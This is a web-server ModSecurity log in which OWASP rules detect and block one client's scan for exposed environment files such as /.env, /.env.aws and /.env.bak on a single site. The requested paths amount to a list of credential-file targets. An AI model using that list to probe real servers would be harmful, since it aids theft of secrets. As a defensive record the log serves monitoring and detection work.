[Sat Oct 24 04:53:27.966571 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "atxyB1GNStwISql-V9e7ngAAAAs"]
[Sat Oct 24 04:53:27.966790 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "atxyB1GNStwISql-V9e7ngAAAAs"]
[Sat Oct 24 04:53:27.967044 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "atxyB1GNStwISql-V9e7ngAAAAs"]
[Sat Oct 24 04:53:28.040610 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndugAAABc"]
[Sat Oct 24 04:53:28.040716 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "atxyCI3tkuH7XT-LVCb7KQAAAAE"]
[Sat Oct 24 04:53:28.040854 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndugAAABc"]
[Sat Oct 24 04:53:28.040867 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "atxyCI3tkuH7XT-LVCb7KQAAAAE"]
[Sat Oct 24 04:53:28.041103 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "atxyCBVGFs5mlQ9y3KndugAAABc"]
[Sat Oct 24 04:53:28.041121 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "atxyCI3tkuH7XT-LVCb7KQAAAAE"]
[Sat Oct 24 04:53:28.042029 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "atxyCHbxMMbsnMsBaxze6AAAABI"]
[Sat Oct 24 04:53:28.042098 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "atxyCFGNStwISql-V9e7nwAAAAs"]
[Sat Oct 24 04:53:28.042166 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "atxyCHbxMMbsnMsBaxze6AAAABI"]
[Sat Oct 24 04:53:28.042237 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "atxyCFGNStwISql-V9e7nwAAAAs"]
[Sat Oct 24 04:53:28.042408 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "atxyCHbxMMbsnMsBaxze6AAAABI"]
[Sat Oct 24 04:53:28.042446 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "atxyCFGNStwISql-V9e7nwAAAAs"]
[Sat Oct 24 04:53:28.117751 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "atxyCI3tkuH7XT-LVCb7KgAAAAE"]
[Sat Oct 24 04:53:28.117778 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "atxyCFGNStwISql-V9e7oAAAAAs"]
[Sat Oct 24 04:53:28.117980 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "atxyCI3tkuH7XT-LVCb7KgAAAAE"]
[Sat Oct 24 04:53:28.117980 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "atxyCFGNStwISql-V9e7oAAAAAs"]
[Sat Oct 24 04:53:28.118257 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dist"] [unique_id "atxyCFGNStwISql-V9e7oAAAAAs"]
[Sat Oct 24 04:53:28.118267 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "atxyCI3tkuH7XT-LVCb7KgAAAAE"]
[Sat Oct 24 04:53:28.119211 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "atxyCHbxMMbsnMsBaxze6QAAABI"]
[Sat Oct 24 04:53:28.119224 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "atxyCHX8E6TRudKM7Tq-_AAAABM"]
[Sat Oct 24 04:53:28.119343 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "atxyCHbxMMbsnMsBaxze6QAAABI"]
[Sat Oct 24 04:53:28.119355 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "atxyCHX8E6TRudKM7Tq-_AAAABM"]
[Sat Oct 24 04:53:28.119562 2026] [security2:error] [pid 2607254:tid 2607254] [client 34.14.99.143:56448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "atxyCHbxMMbsnMsBaxze6QAAABI"]
[Sat Oct 24 04:53:28.119564 2026] [security2:error] [pid 2603776:tid 2603776] [client 34.14.99.143:56466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "atxyCHX8E6TRudKM7Tq-_AAAABM"]
[Sat Oct 24 04:53:28.120389 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "atxyCPW6YT0SU9_bWDbGiwAAAAk"]
[Sat Oct 24 04:53:28.120444 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "atxyCBVGFs5mlQ9y3KnduwAAABc"]
[Sat Oct 24 04:53:28.120528 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "atxyCPW6YT0SU9_bWDbGiwAAAAk"]
[Sat Oct 24 04:53:28.120571 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "atxyCBVGFs5mlQ9y3KnduwAAABc"]
[Sat Oct 24 04:53:28.120756 2026] [security2:error] [pid 2607239:tid 2607239] [client 34.14.99.143:56422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "atxyCPW6YT0SU9_bWDbGiwAAAAk"]
[Sat Oct 24 04:53:28.120789 2026] [security2:error] [pid 2603780:tid 2603780] [client 34.14.99.143:56438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.development"] [unique_id "atxyCBVGFs5mlQ9y3KnduwAAABc"]
[Sat Oct 24 04:53:28.121656 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "atxyCO3iNausmbvH7aw5XgAAAAA"]
[Sat Oct 24 04:53:28.121838 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "atxyCO3iNausmbvH7aw5XgAAAAA"]
[Sat Oct 24 04:53:28.122055 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.14.99.143:56428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "atxyCO3iNausmbvH7aw5XgAAAAA"]
[Sat Oct 24 04:53:28.193180 2026] [security2:error] [pid 2603807:tid 2603807] [client 34.14.99.143:56460] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.live"] [unique_id "atxyCI3tkuH7XT-LVCb7KwAAAAE"]
[Sat Oct 24 04:53:28.193180 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "atxyCFGNStwISql-V9e7oQAAAAs"]
[Sat Oct 24 04:53:28.193409 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.14.99.143:56480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.example"] [unique_id "atxyCFGNStwISql-V9e7oQAAAAs"]
